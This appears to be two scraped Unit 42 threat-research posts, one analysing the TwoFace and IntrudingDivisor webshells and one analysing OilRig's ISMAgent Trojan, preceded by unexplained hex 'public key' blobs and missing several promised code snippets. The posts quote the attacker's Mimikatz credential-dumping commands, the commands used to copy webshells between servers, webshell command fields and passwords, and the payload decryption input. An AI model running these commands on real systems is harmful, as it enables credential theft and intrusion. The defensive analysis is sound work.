089EABE330EFD99602C164E889B44E16B8284BB1834A29F16C4BE8CE52FF507F9592E541DBEF85F3C15312583057CB1151B4027C22FB9A776CA112E4922D9BEB03D6682393350C9CE3BAABD92F02D620D81CCF38430AB340B048BE230240AACDB93F7AC8B96BFEDF68B8D2964558E6B9BC5E6BC361A876B71FB54A45CFA9E327B335CEDF34DB904E70CBBD1C5468411AC0677956156643209649D6551427652FC7C8487490D69CEE5DAB6B8B46764214B21E5B8E9AF866AF95CB883523B534412E07D25A956438DC249F15AEB7238CDC87A1B3BB020A096A8BCC9F4CED0554470DCA45638382C24BD2F37767D0546A6C57E8D27679CD1C332AE744A1FDBBB771

public key

4E0A4C6F636B426F783301000000030001000015DEAED84DB7C292D7DEB01D5EB8DBE40A289736E9050B60E11DF90AAEEA6D1504D1D5056A50D1C44E3E03A8294E226C947D667B491896C151D5BEF32931636881ED635ACBDF18F8ED48BC680FFA31D60CAAF4EFAB772737081A6BD6B3D6D74DC57394095B340F492BE9E11115E67B1EF6B278ABA92055EB68D5138FF64CD9C3433DD8A4EA5A9EE3BAF0BF9D2A334CA6979941E676C13B3DE015D68070E43E8D6442CA677AA53E3CF27FB1957B7AFA03044BDB143726EBB4BE27CCEAD5AF89E966E646B43913EF873C08B488B6D5140914869A133379B9753B5E046E462D18DB692EA3A263F3694AF37DDC388737581F12701BF75061940877C886F05AB9237B030000000100014E0A4C6F636B426F7833010000000300010000E915DED8174C9B15D81DA2BA072DD858F9641B294BEB78A98E88AFC4A060161B16BBA30881F50E33B8552A449ECCAB8917F4E07359E70D5D19272026A486DB1F39E73903422F0ECB072DACB7B71955726301D25E50507524A6AB50C4C60718F32A2F546AE764B149E271A52CFBD2A60F3795588A6436DC08F881B931130A0444F2F2A30C74CA24A1F153F6012E46FA5047355114E3BD67FC3E32A1CE6711460C96D2470D787E8DDAF9F12C58A8A1264B27917A7F13F19B6B7D3347D40A486EB68FDA1653A5808B9380026B1B4B6AF640F7C8ECAF9A5FD77E571494D7152038545B7E53704A14CFED581BBC579DDF542247F110CAF70194ADBDB114314EE4716303000000010001

 

TwoFace Webshell: Persistent Access Point for Lateral Movement

Posted on by Robert Falcone

While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell.

During our analysis, we extracted the commands executed by the TwoFace webshell from the server logs on the compromised server. Our analysis shows that the commands issued by the threat actor date back to June 2016; this suggests that the actor had access to this shell for almost an entire year. The commands issued show the actor was interested in gathering credentials from the compromised server using the Mimikatz tool. We also saw the attacker using the TwoFace webshell to move laterally through the network by copying itself and other webshells to other servers.

Actor Activities using TwoFace

The web server logs on the system we examined that was compromised with the TwoFace shell gave us a glimpse into the commands the actor executed through their malware. These commands also enabled us to create a profile of the actor, specifically their intentions and the tools and techniques used to carry out their operation.

Our analysis determined that five different IP addresses from four countries issued commands on the TwoFace shell, as seen in Table 1. As it is possible these originating IP address may themselves have been targeted and compromised, we have redacted the full IP addresses to hide the identities. The first command in the logs was issued on June 18, 2016, which was a simple “whoami” command to get the username on the server. This single command was the only one by this specific IP address which appears to be in Iran, and suggests that the actor may have initially compromised the server around this time and performed a quick check to see if the shell was loaded successfully.

IP address Country Number of Commands Date of Activity Days Since Initial Command
46.38.x.x Iran 1 2016-06-18 0
178.32.x.x France 6 2016-09-28 103
137.74.x.x France 16 2017-03-03 259
192.155.x.x USA 61 2017-04-24 311
46.4.x.x Germany 10 2017-05-03 320

Table 1 IP Addresses seen issuing TwoFace Commands

Three months after this single, initial command the next set of commands were sent. This time on September 28, 2016 a series of twelve commands were sent from an IP address apparently in France. These commands provide additional insight into the actor’s intentions. It is not certain why a time gap exists in issuing commands to the TwoFace webshell, although it is highly plausible this may simply be a visibility gap or even anti-detection measure taken by the actor. Rather than speculating on this gap and subsequent time gaps between interactions, we will focus on the commands actor issued that provide insight into this actor’s tactics, techniques, and procedures (TTPs).

The first command issued from this second IP address attempts to run a variant of the Mimikatz post-exploitation tool (m64.exe), specifically the Sekurlsa module that gathers the passwords of accounts currently logged into the system and saves the results locally to a text file. The actor then issues a command that uses the “type” command to read the contents of the text file containing the passwords, followed by a command that uses “del” to delete the text file.

c:\windows\temp\m64.exe privilege::debug sekurlsa::logonpasswords exit > c:\windows\temp\01.txt

Just over five months later on March 3, 2017, a third IP address, a different one apparently in France, issued a series of 16 commands to the TwoFace webshell. The first command of interest is as follows:

net group "Exchange Trusted Subsystem" /domain

According to MSDN, the “Exchange Trusted Subsystem” group is defined as follows:

The “Exchange Trusted Subsystem” is a highly privileged universal security group (USG) that has read/write access to every Exchange-related object in the Exchange organization. It’s also a member of the Administrators local security group and the Exchange Windows Permissions USG, which enables Exchange to create and manage Active Directory objects.

Using hostnames obtained from the previous command, the actor issues several commands to determine if they have access to Microsoft Exchange related folders. The actor then issued several commands that attempt to copy a different webshell onto these additional systems, which resembles the following:

copy c:\windows\temp\Exchange.aspx "\\[hostname]\d$\Program Files\Microsoft\Exchange Server\V14\ClientAccess\exchweb\ews\"

This clearly shows the threat actor attempting to use the TwoFace webshell to pivot to other servers on the network. The “Exchange.aspx” file copied over to the other systems appears to be a different webshell from TwoFace. We analyzed this additional webshell and have named it IntrudingDivisor, which we will describe in detail later in this blog.

On April 24, 2017, a fourth IP address, this one apparently in the United States, issued 61 commands to the TwoFace webshell. Like the previous set of commands issued in March 2017 from France, this IP address issued the command to obtain objects in the Exchange Trusted Subsystem group, and it appears the actor copied over yet another webshell named “global.aspx” and set the file’s attributes to be hidden using the following command:

attrib h "\\[hostname]\d$\Program Files\Microsoft\Exchange Server\V14\ClientAccess\exchweb\ews\global.aspx"

The actor then issued commands that suggests the use of the Mimikatz tool, but this time Mimikatz was named “mom64.exe” instead of “m64.exe”. The following two commands show the actor killing the process and using the “type” command to read the contents of a text file “01.txt,” which was also used in the password gathering activity observed on the day of the initial compromise on Jun 2016, ten months earlier:

taskkill /f /im mom64.exe
type c:\windows\temp\01.txt

Nine days later on May 3, 2017 the next commands came from a fifth IP address apparently in Germany. This time the threat actors issued 10 commands to the TwoFace webshell: fewer than nine days before but still more than during the other sessions.

The actor first issues a command to ping the IP address “4.2.2.4”, which is the legitimate DNS resolver operated by Level 3. The actor then checks the “Domain Admins” group to determine the accounts with domain administrator privileges using the following command:

net group "Domain admins" /domain

After this command, the actor runs a variant of the Mimikatz tool to gather locally logged in passwords, this time using a filename of “MicrosoftUpdate.exe” for the executable and “mic.txt” to store the results, as seen in the following command:

c:\windows\temp\MicrosoftUpdate.exe p::d s::l q > c:\windows\temp\mic.txt

These commands show the threat actors rely heavily on the TwoFace webshell to interact with compromised servers, but it also appears that other webshells are used in addition to TwoFace, such as IntrudingDivisor. The commands also show the threat actor’s reliance on the Mimikatz tool to steal passwords from systems, which they will then use to attempt to move laterally amongst other servers by copying over webshells. Lastly, the timestamps of the commands suggest that the threat actor had maintained persistent access that they used intermittently to the compromised network using the TwoFace shell since at least June 2016.

TwoFace Loader Shell

Both components of the TwoFace shell, which we will refer to as the loader and payload components were written in C# and meant to run on a webserver that supports ASP.NET. The author of the initial loader webshell included legitimate and expected content that will be displayed if a visitor accesses the shell in a browser. The inclusion of expected content suggests that the actors wished to use the TwoFace webshell for extended periods while remaining hidden.

The code in the loader webshell includes obfuscated variable names and the embedded payload is encoded and encrypted. To interact with the loader webshell, the threat actor uses HTTP POST requests to the compromised server. As its name suggests, the loader component is mainly responsible for saving and loading the payload component on the same server, allowing the actor to interact with the payload component that has far more functionality than the loader. However, the loader is also capable of the following functionality:

  • Save the TwoFace payload to a specified file on the server
  • Delete the TwoFace payload saved on the server
  • Write data to a specified file on the server
  • Delete the entire folder on the server used to store the TwoFace payload

The TwoFace loader parses the HTTP POST requests issued by the actor and references data at specific locations, more specifically at certain indexes within the posted data (C# “Request.Forms”) that the shell will use to determine the functionality the actor wishes to execute. While we did not have logs of HTTP requests for the loader shell, we were able to determine some of the indexes that the webshell will specifically access within the data. Table 2 shows the known indexes within the HTTP POST data that TwoFace references.

Request.Forms Index Description
0 If set to a specific value (for example, "931201"), it creates a set of "pre" html tags with a string of numbers for reasons unknown.
5 Data to write to a file on the server
8 String name for the TwoFace webshell filename
9 Contains base64 data provided by the actor to specify the command to run, as well as the decryption key in the event the actor wishes to load the webshell

Table 2 Indexes within Request.Forms that the TwoFace loader relies on

As you can see in the descriptions in Table 2, none of these locations contain the command that the actor wishes to execute. Instead, the actor must provide data in index 9 that was constructed to not only contain the command the actor wants to execute, but also contains the key to decrypt the TwoFace payload component that is embedded within the loader. The data in index 9 will contain data at specific offsets, seen in Table 3 that the loader component will use to determine the command and the location of command specific data within the posted data (C# “Request.Forms”).

Offset Value Description
0 Varied The entirety of the data is used as a key to decrypt the TwoFace payload component
25 8 Specifies the argument in the HTTP POST request that contains the string of the filename for the TwoFace webshell file
26 1000 Minimum length required to write data to a specified file
44 31 Contains the number of arguments needed to perform a file deletion operation?
45 5 Specifies the argument within the POST request that contains the data to write to a file on the server
57 36 Contains the number of arguments within the POST request to run a command to write data to a file on the server
61 13 Contains the number of arguments within the POST request to run a command to install the TwoFace payload webshell
63 14 Contains the number of arguments needed to perform a folder deletion operation?

Table 3 Offets of actor provided data used by the TwoFace loader

Saving the TwoFace Payload

The main purpose of the loader shell is to install a secondary webshell on demand. The secondary webshell, which we call the payload, is embedded within the loader in encrypted form and contains additional functionality that we will discuss in further detail. When the threat actor wants to interact with the remote server, they provide data that the loader will use to modify a decryption key embedded within the loader that will be in turn used to decrypt the embedded TwoFace payload. The decryption algorithm (below) is very simple, as it relies on basic arithmetic operations, specifically addition and subtraction to decrypt the embedded payload.

The pseudocode above provides the logic used by the TwoFace loader to decrypt the ciphertext of the payload, which is

  1. Iterate through the key, modifying each byte by adding a value from the actor’s provided data
  2. Iterate through TwoFace payload ciphertext and subtracting each byte using a value from the modified key

We were able to determine the data that the threat actor would have to provide to successfully decrypt the embedded TwoFace payload, which is as follows:

\x15@^\xbbs\xfa\xae\x876\x03`\xffs\x89\xb9 \x9a\xcb\x02\xec\x8e\xc3\x92\x7f\xd6b\xa8\x1ag\xb8\xff\x82\x08\xd0ALB\xd8\x0c)\x91\x82\xc4\x85\xb2\xa7\xe6\xea\x8e\x92\xf9u\x96\xc1\xef\xfd\xe9.!\x047\xc8#y

As you can surmise from the above characters, this does not appear to be a human generated string. We believe this is a machine generated string used for this input data, which gives a bit of insight into the actors behind this webshell, as they would have to use a tool to interact with to automate the use of these webshells, or at a minimum they would need to keep track of these machine generated user input strings to be able to interact with their webshells manually.

TwoFace Payload Shell

The TwoFace payload shell requires a password that is sent within HTTP POST data or within the HTTP Cookie, specifically with a field with a name “pwd”. The “pwd” field is used for authentication as a password, which the payload will generate the SHA1 hash and compare it with a hash that is hardcoded within the payload. We extracted the SHA1 hashes used for authentication from the known TwoFace shells, as seen in Table 4 and were able to find the associated password string for three of them. One of the passwords, “RamdanAlKarim12” contains a phrase that means “Ramadan the generous” in Arabic (رمضان الكريم). Another known password is “FreeMe!”, while the last known password contains what may be an acronym of a middle eastern energy organization followed by “pass”. It is possible that the actor chose this acronym based on the targeted organization, but we cannot confirm this.

Sample SHA256 Embedded SHA1 Password
8f0419493d… a2c9afd6adac242827adb00d76c20c491b2d2247
0a77e28e6d… 6a0e681586988388d4a0690b6fb686715d92d069
54c8bfa0be… 5e1c37bf3bd8a7567d46db63ed9b0aeed53e57fe
818ac924fd… 37ada887553cf48715cc19131b8e661ac43718e9
fd47825d75… 9789b5c0c13fb58c423bce5577873d413d9494be
79c9a2a2b5… c56bc0d331a825fdea01c5437877d5e9e1cda2c4
e33096ab3… 9f4e10484f4ceac34878d4f621a1ad8e580fd02a
c116f078a0… 57dd9721f9837ebd24dea55a90a2a9e3e6ad6f1e

Table 4 Authentication hashes and matching password strings used for TwoFace webshells

Much like the authentication password, a threat actor can issue commands to the TwoFace payload using either data sent within the HTTP Cookie or HTTP POST data itself. If using an HTTP Cookie to issue commands, the payload will split the cookie data using the delimiter “#=#” and will treat the first value as the command and the second value the data to pass to the command. We enumerated the command handler, which can be seen in Table 5 that accepts a variety of commands to interact with the compromised server.

Command Arg Field Description
Execute application or command pro Executable to run command line commands
cmd Runs a supplied command using “cmd.exe” or another executable supplied by the user via the “pro” field within the HTTP POST data.
Upload a file to the server upl Field name within the HTTP POST files that contains the file contents to save to the server
sav Path to save file to
vir Boolean to save a file to a virtual path rather than a physical path
nen Specified name of file to upload, otherwise the script uses the filename of the uploaded file from the HTTP POST request
Upload data to a file in the %TEMP% folder upb Base64 encoded data that is decoded and saved to a file
upd Filename in the %TEMP% folder to save ‘upb’ data to
Delete a file in %TEMP% folder del Filename in the %TEMP% folder to delete
Download a file from the server don Path to file to download from the server
View or set MAC timestamps of a file hid 1 = View the ‘tfil’ MAC times

2 = Set ‘tfil’ file MAC times to match the file specified in the ‘ttar’ field

3 = Set ‘tfil’ file MAC times to times specified in the ‘ttim’ field
tfil Filename to get or set MAC times
ttar Filename to get MAC times, most likely a legitimate filename used to make uploaded files look as if they are legitimate
ttim Specific timestamp to set file MAC times to

Table 5 Commands available within the TwoFace payload webshell

While the commands within Table 5 are available within TwoFace, the threat actor does not have to manually issue these requests within HTTP POST data, as the actor can interact with the webshell using a web form within the browser. We set up an IIS server to test the TwoFace webshell, which displays the user-interface seen in Figure 1.

twoface_1

Figure 1 TwoFace payload webshell before authentication

At first, the text box in the row labeled “Login” has a red background, which means the user has not successfully provided the password required to issue commands to the webshell. After entering the correct password in the login box, the box changes from a red to green background, as seen in Figure 2. The actor can now interact with the compromised server using the webshell, which runs the commands described in Table 5. In most cases, the output or results of commands are displayed immediately below the webshell. For instance, in Figure 2 we issued the “whoami” command that used the Windows command-prompt to display the name of the current user account below the webshell.

twoface_2

Figure 2 Issuing a command on TwoFace webshell after successfully authenticating

TwoFace++ Loader

We discovered another version of the TwoFace loader shell that was structurally similar to the TwoFace loader shell discussed in this blog, as this version of TwoFace also contains an embedded payload shell in encrypted form. To use the embedded payload shell, the actor must provide a password that the loader shell will not only use for authentication, but also as a key to decrypt the payload.

The actor will provide the password in the HTTP POST data, specifically as a base64 encoded string within a field labeled “p”. The TwoFace++ loader will decode this password and concatenate a static salt value and compute the SHA1 hash of this string. The loader then base64 encodes the SHA1 hash and compares it with a hardcoded base64 encoded string of a SHA1 hash needed for successful authentication. We know of the SHA1 hashes 19be2493b7cc2d43e8bf245b6faf2c747be6bae5 and 26749c6b5308bb668eb954f4120607c2a9d620be used for authentication, however, we have been unable to determine the passwords that would result in these hashes.

The TwoFace++ loader will use the actor provided password as a decryption key to decrypt the embedded payload shell. The loader will use the first 24 bytes of the actor’s password as a key, which it will use the 3DES symmetric cipher to decrypt the payload shell. The embedded payload is 8624 bytes, which we believe is another webshell based on the previous version of the TwoFace loader, however, we have been unable to decrypt the payload to confirm.

IntrudingDivisor Webshell

Our analysis of the commands issued to the TwoFace webshell resulted in the discovery of another webshell that we call IntrudingDivisor. Like TwoFace, the IntrudingDivisor webshell requires the threat actor to authenticate before issuing commands. To authenticate, the actor must provide two pieces of information, first an integer that is divisible by 5473 and a string whose MD5 hash is “9A26A0E7B88940DAA84FC4D5E6C61AD0”. Upon successful authentication, the webshell has a command handler that uses integers within the request to determine the command to execute, specifically integers divisible by the following:

Divisor Command
6571 Write provided data to a specified file
9273 Execute a command or change the modified and access times of a file
3471 Read a specified file

Table 6 Commands available within the IntrudingDivisor webshell

The webshell logs the IP, user-agent, and timestamp of all requests to a file named "KB45253-ENU.exe”, but we have seen another IntrudingDivisor sample logging requests to “KB76862-ENU.exe” as well. We believe the threat actor will use the IntrudingDivisor in a similar manner to TwoFace, specifically to gain access to additional servers during lateral movement and to gather user credentials.

Conclusion

The TwoFace webshell has an effective two-layer approach that makes it difficult to detect. Coupled with the multiple layers and inclusion of legitimate website content that displays correctly in the browser, the threat actors are able to enjoy long periods of persistent access to a network without detection as evidenced by their demonstrated ability to access and manipulate a compromised system for nearly a year. Based on the commands issued to TwoFace, the threat actors used this webshell to deliver variants of the Mimikatz tool to gather the passwords of logged on accounts. The actor also used TwoFace to move laterally by copying webshells to other remote systems on the network.

TwoFace Loader SHA256

ed684062f43d34834c4a87fdb68f4536568caf16c34a0ea451e6f25cf1532d51
f4da5cb72246434decb8cf676758da410f6ddc20196dfd484f513aa3b6bc4ac5
9a361019f6fbd4a246b96545868dcb7908c611934c41166b9aa93519504ac813
d0ffd613b1b285b15e2d6c038b0bd4951eb40eb802617cf6eb4f56cda4b023e3

TwoFace++ Loader SHA256

bca01f14fb3cb4cfbe7f240156feebc55abac73a6c96b9f75da2f9df580101ef
8d178b9730e09e35c071526bfb91ce72f876797ebc4e81f0bc05e7bb8ad1734e

TwoFace Payload SHA256

8f0419493da5ba201429503e53c9ccb8f8170ab73141bdc6ae6b9771512ad84b
0a77e28e6d0d7bd057167ca8a63da867397f1619a38d5c713027ebb22b784d4f
54c8bfa0be1d1419bf0770d49e937b284b52df212df19551576f73653a7d061f
818ac924fd8f7bc1b6062a8ef456226a47c4c59d2f9e38eda89fff463253942f
fd47825d75e3da3e43dc84f425178d6e834a900d6b2fd850ee1083dbb1e5b113
79c9a2a2b596f8270b32f30f3e03882b00b87102e65de00a325b64d30051da4e
e33096ab328949af19c290809819034d196445b8ed0406206e7418ec96f66b68
c116f078a0b9ea25c5fdb2e72914c3446c46f22d9f2b37c582600162ed711b69

IntrudingDivisor Shell SHA256

e342d6bf07de1257e82f4ea19e9f08c9e11a43d9ad576cd799782f6e968914b8
49f43f2caaea89bd3bb137f4228e543783ef265abbdc84e3743d93a7d30b0a7e

Mimikatz SHA256

f17272d146f4d46dda5dc2791836bfa783bdc09ca062f33447e4f3a26f26f4e0

OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group

Posted on by Robert Falcone

Unit 42 has discovered activity involving threat actors responsible for the OilRig campaign with a potential link to a threat group known as GreenBug. Symantec first reported on this group back in January 2017, detailing their operations and using a custom information stealing Trojan called ISMDoor.

In July 2017, we observed an attack on a Middle Eastern technology organization that was also targeted by the OilRig campaign in August 2016. Initial inspection of this attack suggested this was again the OilRig campaign using their existing toolset, but further examination revealed not only new variants of the delivery document we named Clayslide, but also a different payload embedded inside it. In the past, we had primarily associated the OilRig campaign with using the Clayslide documents to deliver as a payload a Trojan we named Helminth; in this instance, the payload was instead a variant of the ISMDoor Trojan with significant modifications which we are now tracking as ISMAgent.

The Attack

On July 16, 2017, actors associated with the OilRig campaign sent emails to five different individuals within the targeted organization. All of the emails sent had the same subject, attachment filename, and attached Excel file (SHA256: 3eb14b6705179590f0476d3d3cbd71665e7c1935ecac3df7b876edc9bd7641b6).

We identified the Excel file attached to the delivery email as a variant of the Clayslide delivery documents used by the OilRig campaign. A closer look revealed that although it was similar to previous Clayslide documents, it was also quite different in several aspects. Like the previous samples, it displays a worksheet titled “Incompatible” containing a banner that shows a fake compatibility warning message (Figure 1). The message is an attempt to trick the user into clicking the “Enable Content” button, which would run a malicious macro embedded within the Excel file

OilRig_1

Figure 1 Incompatible message attempting to trick the victim into enabling macros

The macro within the delivery document will unhide and display a new worksheet that contains a fake invoice for Citrix products, as seen in Figure 2. This fake invoice acts as a decoy document to minimize the user’s suspicions that any malicious activity occurred.

OilRig_2

Figure 2 Decoy document opened to minimize suspicions of compromise

While the macro displays the decoy invoice spreadsheet, it silently runs malicious code in the background to install its payload. The malicious code starts by concatenating several base64 encoded strings into a single variable. As you can see in the following code snippet, the variable name “Paltofp1” suggests that the author of this code may want our attention:

The macro then writes the concatenated base64 encoded data to the file %PUBLIC%\Libraries\B642.txt. It then reads in the “B642.txt” file and decodes the data, which it will save to the file %PUBLIC%\Libraries\servicereset.exe (SHA256: 52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9). The servicereset.exe file is the payload of this attack, which is a variant of ISMDoor that we track as ISMAgent.

The script then creates a file named %PUBLIC%\Libraries\OfficeServicesStatus.vbs which contains a VBScript that will execute the “servicereset.exe” file using the command line. Lastly, as a persistence mechanism, a scheduled task named “OfficeServicesStatus” will be created, set to run every three minutes, as seen in Figure 3.

OilRig_3

Figure 3 Scheduled task created by the macro within the delivery document

An Iterative Task

While hunting for other samples similar to the one observed in the attack against the technology organization, we discovered yet another variant of Clayslide (SHA256: 5ac939a5426db8614165bd8b6a02d3e8d9f167379c6ed28025bf3b37f1aea902). This sample was dated June 2017, a month older than the newest version containing ISMAgent. Based upon timestamping and similarities with both the original Clayslide documents as well as the newest ISMAgent loaded ones, we believe this June 2016 sample to be an iterative version of Clayslide.

The June 2017 sample of Clayslide contained the same OfficeServicesStatus.vbs file found in the ISMAgent Clayslide document, but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated, this variant obtained its payload from multiple cells within the “Incompatible” worksheet. This technique was observed in previous Clayslide documents to access the script variant of the Helminth Trojan in earlier OilRig attacks.

Also, the June 2017 sample contained artifacts observed in previous Clayslide documents as documented in a blog post we published in April. Specifically, we found this comment:

along with the following common function names within the macro code:

Although structurally the document was more similar to the originally discovered Clayslide documents, this June 2017 sample was designed to load ISMAgent instead of Helminth. We do not have targeting details for this sample, although the decoy document contained a similar theme to the newest Clayslide document, displaying vendor related information (Figure 4).

OilRig_4

Figure 4 Decoy document

A table displaying the differences in each variant of Clayslide is below:

Original Clayslide June Clayslide Newest Clayslide
Helminth X
ISMAgent X X
OfficeServicesStatus X X
Base64 in multiple cells X X
Source code comment X X

Table 1 Comparison of Clayslide versions

The payload (SHA256: 52366b9ab2eb1d77ca6719a40f4779eb302dca97a832bd447abf10512dc51ed9) delivered in the June 2016 attack is a variant of the recent ISMDoor versions that use DNS tunneling for its C2 communications. On May 1, 2017, Arbor Networks published research on ISMDoor using DNS tunneling to communicate with its C2 server, which is nearly identical to the DNS tunneling the payload of this attack carries out. Due to considerable differences and evidence of potentially different authors between the previous ISMDoor samples and this newly discovered variant, we are tracking this new variant as ISMAgent.

On-demand Configuration

The ISMAgent tool comes with a default configuration that specifies the C2 domain and the number of minutes between further attempts to execute the tool. However, an actor can use command line arguments to create a new ISMAgent sample that is configured with a specified C2 domain and a specified number of minutes to automatically execute the Trojan. The following command line arguments are supported:

Argument Description
-c Configures a second domain to use for C2 communications
-m Configures the number of minutes that a scheduled task should execute the payload

Table 2 Command line options available in ISMAgent for configuration

If the Trojan is executed with these arguments, the Trojan will read its own file data in, and search for two strings of characters within the data that it will overwrite with the configured settings. The Trojan searches for a string of "^" characters that it will overwrite with the C2 domain provided via the "-c" argument, and it searches for the string "%%%%" that it will replace with the number of minutes provided via the "-m" argument. The "%%%%" string exists within the following larger string, that the Trojan uses as a command to execute in order to create a scheduled task named "TimeUpdate" to execute the payload after the specified number of minutes passes:

Command and Control

The Trojan is able to use two mechanisms to communicate with its C2 server: HTTP requests and DNS tunneling. The DNS tunneling protocol found in this payload is remarkably similar to recent ISMDoor samples, as documented in Arbor Networks’ research. Similar message handling is found in both ISMAgent and ISMDoor, in addition to the existence of strings in both samples, such the hardcoded IPv6 values. The similarities may allow for backward compatibility between ISMAgent and ISMDoor C2 infrastructure. In the payloads themselves, a number of differences exist, enough that in essence they appear to be different tools.

Regardless of the communications method used, the Trojan will parse the received data from the C2 server for a GUID field that the Trojan will use as a unique identifier, as well as commands the Trojan should run on the compromised system:

HTTP C2 Communications

ISMAgent prioritizes HTTP as its mechanism to communicate with the C2 server, but if it is unable to reach the C2 server it will switch to the DNS tunneling mechanism. To carry out its HTTP C2 communications, the Trojan prepends "www." to the configured C2 domain and issues a DNS query to resolve this domain. The Trojan will use the resolved IP address as the host in the HTTP beacon request.

For instance, the sample used in this attack was configured to use ntpupdateserver[.]com for its C2 server. The HTTP C2 process would attempt to resolve the domain “www.ntpupdateserver[.]com”, which resolved to 142.54.179[.]90, so the Trojan would use the string “http:/w” as the basis of the C2 URL.  The initial beacon sent from the Trojan to the C2 server using a URL structured in the following way:

The C2 server will respond to this request with a command string using the previously mentioned format. During the attack on the technology organization, we observed the C2 server issuing the following command:

If the C2 server provides a command to execute on the system, the Trojan executes it using cmd.exe and writes the output to %TEMP%\runlog[random number].tmp. The Trojan will read this runlog file and send it to the C2 server via an HTTP POST request to a URL structured as follows:

The HTTP POST request contains an anomalous boundary value of “myboundary” and hardcoded filename value of “a.a”, as seen below, which may be used to generate detection signatures for this behavior:

While we did not observe the C2 server attempting to run additional commands via ISMAgent, we were able to analyze the Trojan itself to determine the functionality of its available commands. If the command string contains a URL to download a file to the system, the Trojan will simply use the URLDownloadToFileA function to download and save the file to the target system in the %TEMP% folder. If the C2 server provides a path to a file it wishes to upload from the system, the Trojan will open the file, read its contents, and then upload its contents via an HTTP POST to the following URL:

DNS Tunneling for C2

ISMAgent uses its DNS tunneling technique for C2 as a backup to its HTTP capability. This mechanism supports the same command message structure and even handles the commands in the same manner. The Trojan sends data to the C2 server via DNS queries by encoding data and using the encoded string as a subdomain of an actor owned domain. The C2 server can send data to the Trojan by resolving the DNS queries to IPv6 addresses that the Trojan treats as hexadecimal data.

To carry out its DNS C2 communications, the Trojan will issue DNS queries to the C2 domain to obtain the AAAA records associated with the domain. The Trojan starts this process by creating a unique GUID and appending it to the string "n.n.c." to create a subdomain to query in the following format:

To respond to this beacon, the C2 domain's name server will respond to this query with a hardcoded IPv6 value of a67d:0db8:a2a1:7334:7654:4325:0370:2aa3. This value acts as an acknowledgement of the beacon. The Trojan will then base64 encode the HTTP C2 URL it was using and will send this data to the C2 by constructing and issuing the following DNS query:

The Trojan splits up the base64 encoded data across several DNS queries, which we believe the C2 domain's name server pieces together using the supplied sequence numbers. The name server will respond to each of these DNS queries with another hardcoded IPv6 value of a67d:0db8:85a3:4325:7654:8a2a:0370:7334 to notify the Trojan that it has received the data. After all of the data is successfully sent via DNS requests, the Trojan will send a final DNS query that has the following structure to notify the C2 server that it has completed its data transfer:

After notifying the C2 server that the data transfer has completed, the Trojan may issue additional DNS queries to notify it is ready to receive data back from the C2 server using the following domain name structure:

The DNS server will then respond to these DNS queries with additional IPv6 addresses that the Trojan will treat as hexadecimal data as described by Arbor Networks.

Infrastructure

The ISMAgent payload embedded inside the newest variant of Clayslide used the C2 domain ntpupdateserver[.]com. The primary second-level domain has no IP resolution, instead relying on www.ntpupdateserver[.]com for resolution then two specific subdomains of ns1.ntupdateserver[.]com and ns2.ntpupdateserver[.]com as the actual DNS C2 handler. The ISMAgent payload embedded inside the June version used a completely different C2 domain at Microsoft-publisher[.]com, but used the exact same domain name structure. Lastly, we were able to identify a third sample of ISMAgent leveraging another unique C2 domain, adobeproduct[.]com.

ismagent1

Figure 5 Primary C2 domains for ISMAgent

Pivoting from the WHOIS registrant email address of paul.mcalister[at]mail.com revealed four additional highly suspect domains:

Pivoting on the WHOIS phone number we found two additional domains. These are registered with the same Registrar, have the same WHOIS address, but the registrant name “bolips Angelio” and email address bolips[at]outlook.com.

Thematically, these domains follow the pattern of ISMAgent and OilRig C2 domain names, abusing typo-squatting techniques in attempts to appear as legitimate domains. Each of these additional domains had the same structure as the three ISMAgent C2 domains, with no IP resolution on the primary second-level domain containing the www, ns1, and ns2 subdomains. Based off the same registrant email address and domain name structure, it is highly probable these other domains are also part of the ISMAgent infrastructure as C2 servers.

Lastly, we identified another ISMAgent sample using the C2 domain of adobeproduct[.]com, which again fits thematically and was also found to have the www, ns1, and ns2 subdomains attached to it.

These findings are diagrammed below:

ismagent

Figure 6 ISMAgent C2 Infrastructure

ISMAgent vs. ISMDoor

On the surface, the ISMAgent payload appears similar to the ISMDoor payload, sharing functionality such as a specific DNS tunneling protocol. However, closer analysis shows there are enough differences between the two payloads that justifies tracking ISMAgent as its own tool with its own name.

First, all known ISMDoor payloads using DNS tunneling were created for 64-bit architectures, while all known ISMAgent are x86 only. The most recent ISMDoor payloads using DNS tunneling have abandoned HTTP as a C2 communications method compared to earlier ISMDoor samples, whereas ISMAgent uses HTTP as the primary method and DNS tunneling as a secondary method to communicate with its C2 server.

Also, while the DNS tunneling protocol is the same, the messages within the transmitted encoded data differs dramatically. After the initial "n.n.c." beacon, ISMAgent sends the HTTP C2 URL as the data via the DNS tunneling protocol to send a beacon to its C2. During our analysis, we observed the sample used in this attack sending the following data immediately after the initial beacon:

Comparatively, ISMDoor sends a much more involved series of messages to the C2 server in order to get a command. The following is a sequence of messages sent from the ISMDoor Trojan to its C2 server via the DNS tunneling protocol, the last message ("M:GAC?") resulting in a command for the Trojan to run:

Lastly, the commands available within ISMAgent and ISMDoor are very different. As mentioned previously, ISMAgent has a far more limited, but flexible command set, allowing an adversary to upload and download files, in addition to command execution via command prompt. The most recent version of ISMDoor (v 10.0.192 SHA256: aa52dcaf6df43c6aa872fe0f73725f61e082d32c33fc976741d4eca17679533d) on the other hand, has a more comprehensive yet more rigid command set:

From Helminth to ISMAgent

During our data collection process, we discovered a Clayslide delivery document (SHA256: ca8cec08b4c74cf68c71a39176bfc8ee1ae4372f98f75c892706b2648b1e7530) from September 2016 containing a payload that appeared to be the Helminth script variant as found in other Clayslide documents, but upon further examination was wholly different. The macro within this Clayslide documents obtains a PowerShell script from a cell in the “Incompatible” worksheet, much like previous samples. The macro then saves a VBScript to %PUBLIC%\Libraries\LicenseCheck.vbs to run this PowerShell script every 3 minutes.

Like the Helminth script variants, this PowerShell script is a malicious payload that uses both HTTP requests and DNS tunneling to interact with its C2 server. However, the HTTP requests and the protocol employed to perform DNS tunneling differs dramatically from Helminth scripts installed by all other known Clayslide samples. The HTTP requests and DNS tunneling protocol found in this PowerShell script are instead identical to ISMAgent.

